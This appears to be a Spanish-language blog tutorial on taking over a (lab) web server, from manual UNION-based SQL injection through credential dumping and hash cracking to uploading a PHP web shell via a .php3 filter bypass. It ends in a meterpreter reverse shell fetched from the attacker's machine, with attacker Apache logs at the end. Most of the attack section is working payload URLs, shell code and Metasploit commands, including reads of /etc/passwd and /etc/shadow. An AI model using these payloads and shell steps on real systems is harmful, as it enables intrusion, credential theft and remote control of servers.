De sql injection a obtener shell
Este post tiene dedicatoria a todos los miembros de pentester guanajuato global team, gracias por la invitación :)
Empezemos: en este post veremos un poco de sql injection y como un atacante puede obtener desde los datos que se encuentran en la base de datos hasta una shell del sistema donde se encuentra alojada la página web y la base de datos :D
Está será la página en que haremos el pentest
Primero haremos un information gathering, para realizarlo podemos usar telnet o netcat
telnet paginaweb.com 80
GET / HTTP/1.1
host:paginaweb
ó
netcat paginaweb.com
GET / HTTP/1.1
host:paginawebcomo podemos observar ahi tenemos la version de apache
Ahora veamos un poco de teoría, supongamos que estamos en una pagina de noticias y tenemos 3 páginas con noticias estas serían las 3 urls.
http://www.web.com/noticia.php?id=1 <-- noticia 1
http://www.web.com/noticia.php?id=2 <-- noticia 2
http://www.web.com/noticia.php?id=3 <-- noticia 3
el código php de esa pagina para cargar las noticias sería algo así
<?php
$id = $_GET["id"];
$resultado = mysql_query("select * from noticias where id=".$id);
$fila = mysql_fetch_assoc($reultado);
//nos da la informacion de la noticia de la consulta
?>
Ahora pasando al material que tenemos para trabajar
si ponemos asi ----> http://www.web.com/noticia.php?id=1'
se va a ejecutar esto ---> select * from noticias where id = 1'
pero la sintaxis de esta peticion sql es incorrecta por la comilla ' y la base de datos nos dara un error
You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version
for the right syntax to use near ''' at line 1.
este error puede o no puede ser visible depende de la configuracion del php
aqui el ejemplo del error de SQL syntax de nuestra web
IMPORTANTE!!!!!
el valor que esta en la url hace un eco directamente en la consulta y es considerado como un integer, esto
nos permite hacer una consulta a la base de datos una operacion basica matematica
es decir
http://www.web.com/noticia.php?id=2-1 <--- esto sería como
select * from noticias where id=2-1 entonces el la noticia 1 será mostrada en la url
Por ejemplo en nuestra pagina tenemos
http://192.168.1.88/cat.php?id=3
y también
http://192.168.1.88/cat.php?id=2
Veamos que pasa cuando hacemos
http://192.168.1.88/cat.php?id=3-1
Aqui vemos como al hacer la operacion matemática 3-1=2 == http://192.168.1.88/cat.php?id=2
explotando sql injections con UNION
Para hacer la sql injection (a mano nada de usar programas como havij ó sqlmap a menos que seas un lamer de primera, ó a menos que ya sepas hacer esto por ti mismo no hay ningun problema en utilizar herramientas que te pueden automatizar el proceso, y ademas ya sabes que es lo que realmente esta pasando en tu ataque) necesitamos encontrar el numero de colimnas para ejecutar union
si ponemos
http://192.168.1.88/cat.php?id=2 union select 1,2
en la url aparecen varios %20 ese es el del espacio y el navegador lo pone automáticamente, ahi podemos ver que nos da información interesante
lo que ha pasado es lo siguiente:
select id,nombre,fecha,foto from noticias where id=1 union select 1,2
es decir hicimos una consulta donde estamos requiriendo 2 campos sin embargo la tabla tiene 4 campos, no hay que confundir que a una tabla podemos hacer la consulta a 1 solo campo con esto que estamos haciendo, en este caso estamos tratando de encontrar todos los campos de la tabla
entonces intentamos lo siguiente
http://192.168.1.88/cat.php?id=2 union select 1,2,3
en este caso de nuevo aparece el mensaje que la sentencia tiene diferente numero al de las columnas existentes en la tabla, recuerden que estamos tratando de averiguar cuantos campos hay en esa tabla de la base de datos
esta vez hicimos algo como esto:
select id,nombre,fecha,foto from noticias where id=1 union select 1,2,3
intentemos con esto: http://192.168.1.88/cat.php?id=2 union select 1,2,3,4
Excelente!!! ya no obtuvimos el mensaje de que no corresponde la sentencia con el numero de campos es decir que ya sabemos que existen 4 campos.
Ahora que ya sabemos el numero de columnas podemos acceder a cierta informacion de la base de datos
ahora que ya sabemos el numero de columnas podemos acceder a cierta informacion de la base de datos
la sentencia @@version me dice la version de la base de datos
la sentencia current_user() el usuario usado por la aplicacion php para conectar a la base de datos
la sentencia database() ya se imaginarán que hace :p
entonces procedemos a encontrar la version con
http://192.168.1.88/cat.php?id=2 union select 1,@@version,3,4,5
Eee!!! momento que ha pasado si estoy poniendo 4 columnas por que me aparece que hay diferencia en el statment y el numero de columnas???
al parecer la tabla donde ejecutemos la sentencia para poder ver la version debe tener un numero diferente de columnas de modo que hagamos una prueba pongamos 3 en vez de 4 es decir:
http://192.168.1.88/cat.php?id=2 union select 1,@@version,3,4
Listo ya tenemos la verison!!!!
ahora procedamos a ver el usuario
http://192.168.1.88/cat.php?id=2 union select 1,current_user(),3,4
Ya tenemos el usuario :D
Ahora veamos el nombre de la base de datos
http://192.168.1.88/cat.php?id=2 union select 1,database(),3,4
Listo!!!! nombre de la base de datos obtenida
ahora obtengamos las tablas, para eso haremos consultas en la base de datos information_schema
por que mysql provee tablas que contienen meta-informacion de la base de datos que estamos obteniendo información
http://192.168.1.88/cat.php?id=2 union select 1, table_name,3,4+from+information_schema.tables
Listo el problema es que me esta dando todas las tablas de las bases de datos que hay y yo quiero solo los de la base de datos que estoy tratando de obtener informacion (photoblog)
Intentemos con esto
http://192.168.1.88/cat.php?id=2%20union%20select%201,concat%28table_name,
%27:%27,table_name%29,3,4%20from%20information_schema.columns+where+table_schema=database%28%29--
Excelente despues de varias pruebas y errores con diferentes sentencias pudimos obtener el resultado deseado (Ya te tocará investigar que es todo ese código en la sentencia no tendras todo tan regalado lamer XD XD XD XD XD).
bueno ahora toca el turno de saber como se llaman los campos de la tabla users
http://192.168.1.88/cat.php?id=2%20union%20select%201,concat(column_name),3,4%20from
%20information_schema.columns+where+table_name=users
Al parecer hay un error en la columna users :( vaya se ha resistido XD XD XD XD, bueno hemos estado utilizando chrome, ahora utilizemos firefox para ayudarnos de hackbar :D :D :D :D :D
abrir hackbar y seleccionar el nombre users e ir a encoding, hex encoding y seleccionar la 1er opcion quedará algo así
Damos click en Execute y vemos que no pasa nada, jejeje esta web se se resiste intenemos agregando un 0x es decir
http://192.168.1.88/cat.php?id=-2 union select 1,concat(column_name),3,4 from information_schema.columns+where+table_name=0x7573657273
Excelente ahora si ya tenemos los campos que necesitamos para realizar la sentencia y obtener los datos que necesitamos
http://192.168.1.88/cat.php?id=2%20union%20select%201,concat
%28login,%27:%27,password%29,3,4%20from%20users;
Muy bien tenemos al usuario admin y la contraseña encriptada, hay muchas formas y/o técnicas para desencriptar ese hash, por ejemplo; findmyhash, john the ripper, crackstation.net, en esta ocasión usaremos la página crackstation.net
listo: usuario admin contraseña P4ssw0rd
ahora tratemos de obtener una shell en ese sistema :D
Listo estamos logueados como admins ahora tratemos de subir algun archivo php que nos deje ejecutar comandos en el sistema :D
para eso creamos un arhivo php que contenga el siguiente codigo
<?php
system($_GET['cmd']);
?>
primero vamos a crearlo
vamos a tratar de subirlo damos click en New picture y despues en examinar y buscamos nuestro php
Al tratar de subirlo vemos que nos dice
Entonces tiene una protección de deteccion de archivos para poder hacer un bypass o evasión de detección de los tipos de archivos podemos hacer un archivo de nombre .php3
Aqui vemos como nuestro php fue subido exitosamente
ahora tenemos que encontrar la ruta donde esta nuestro php :D
una vista rápida al codigo fuente del index me da lo que estoy buscando
admin/uploads/shell.php3 :D
ahora para ejecutar comandos ponemos lo siguiente
http://192.168.1.88/admin/uploads/shell.php3?cmd="comando a ejecutar"
http://192.168.1.88/admin/uploads/shell.php3?cmd=uname -a
http://192.168.1.88/admin/uploads/shell.php3?cmd=cat%20/etc/passwd
nosotros somos el usaurio www-data ese usuario no tiene privilegios de root, veamos que podemos hacer para obtener una shell dentro del sistema desde kali :D
primero hacemos un payload para linux
msfpayload linux/x86/meterpreter/reverse_tcp LHOST=IP LPORT=puerto R | msfencode -t elf -e x86/shikata_ga_nai >> Executive
Pasamos ese payload a nuestro webserver en kali aprovechando que tenemos apache :D
Aqui vemos como se copio el payload a la carpeta del webserver de kali y ademas hicimos un ls para comprobar que ahi esta nuestro payload, ahora toca descargarlo en el servidor que hackeamos
Aparentemente no ocurrio nada pero que pasa si hacemos un "ls"
Ahi se encuentra nuestro payload que se llama Executive, procedemos a ejecutarlo pero primero hay que preparar el listener de metasploit
msfcli exploit/multi/handler PAYLOAD=linux/x86/meterpreter/reverse_tcp LHOST=IP LPORT=port E
y vemos el resultado en nuestro metasploit
Tenemos meterpreter en ese sistema :D
Sin embargo no tenemos altos privilegios todavia, tratemos de leer el archivo shadow
Solamente usuarios con permisos elevados pueden leer ese archivo, hay muchas técnicas para elevar privilegios en linux, tratemos de entrar al gestor de base de datos mysql
Hemos podido entrar al gestor de base de datos mysql de ese sistema por que el usuario por default no tiene contraseña
mysql -u root -p
incluso podemos ver la bases de datos que hay en ese sistema
Ahora tratemos de vizualizar archivos desde mysql
y aqui el resultado
ahora tratemos de leer el archivo shadow
Como vemos no hemos podido leer el contenido del archivo shadow :(
en un post posterior veremos como elevar privilegios en linux, por otra parte cabe mencionar que todo lo que hemos hecho en la página, quedo registrado en los logs del apache
aqui les paso solo alguno de los logs que generamos
192.168.1.104 - - [28/Nov/2013:17:13:47 +0000] "GET /cat.php?id=2%20union%20select%201,@@version,3,4 HTTP/1.1" 200 830 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/27.0.1453.110 Safari/537.36" 192.168.1.104 - - [28/Nov/2013:17:13:48 +0000] "GET /admin/uploads/3 HTTP/1.1" 404 505 "http://192.168.1.88/cat.php?id=2%20union%20select%201,@@version,3,4" "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/27.0.1453.110 Safari/537.36" 192.168.1.104 - - [28/Nov/2013:17:13:53 +0000] "GET /favicon.ico HTTP/1.1" 404 502 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/27.0.1453.110 Safari/537.36" 192.168.1.104 - - [28/Nov/2013:17:13:54 +0000] "GET /cat.php?id=2%20union%20select%201,@@version,3 HTTP/1.1" 200 762 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/27.0.1453.110 Safari/537.36" 192.168.1.104 - - [28/Nov/2013:17:13:55 +0000] "GET /favicon.ico HTTP/1.1" 404 502 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/27.0.1453.110 Safari/537.36" 192.168.1.104 - - [28/Nov/2013:17:14:02 +0000] "GET /cat.php?id=2%20union%20select%201,@@version,3,3,3 HTTP/1.1" 200 762 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/27.0.1453.110 Safari/537.36" 192.168.1.104 - - [28/Nov/2013:17:14:03 +0000] "GET /favicon.ico HTTP/1.1" 404 502 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/27.0.1453.110 Safari/537.36" 192.168.1.104 - - [28/Nov/2013:17:14:05 +0000] "GET /cat.php?id=2%20union%20select%201,@@version,3,3 HTTP/1.1" 200 829 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/27.0.1453.110 Safari/537.36" 192.168.1.104 - - [28/Nov/2013:17:14:05 +0000] "GET /admin/uploads/3 HTTP/1.1" 404 505 "http://192.168.1.88/cat.php?id=2%20union%20select%201,@@version,3,3" "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/27.0.1453.110 Safari/537.36" 192.168.1.104 - - [28/Nov/2013:17:14:05 +0000] "GET /favicon.ico HTTP/1.1" 404 502 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/27.0.1453.110 Safari/537.36" 192.168.1.104 - - [28/Nov/2013:17:19:59 +0000] "GET /cat.php?id=2%20union%20select%201,@@version,2,3,4 HTTP/1.1" 200 763 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/27.0.1453.110 Safari/537.36" 192.168.1.104 - - [28/Nov/2013:17:20:00 +0000] "GET /favicon.ico HTTP/1.1" 404 502 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/27.0.1453.110 Safari/537.36" 192.168.1.104 - - [28/Nov/2013:17:21:52 +0000] "GET /cat.php?id=2%20union%20select%201%20where%20id=1 HTTP/1.1" 200 815 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/27.0.1453.110 Safari/537.36" 192.168.1.104 - - [28/Nov/2013:17:21:53 +0000] "GET /favicon.ico HTTP/1.1" 404 502 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/27.0.1453.110 Safari/537.36"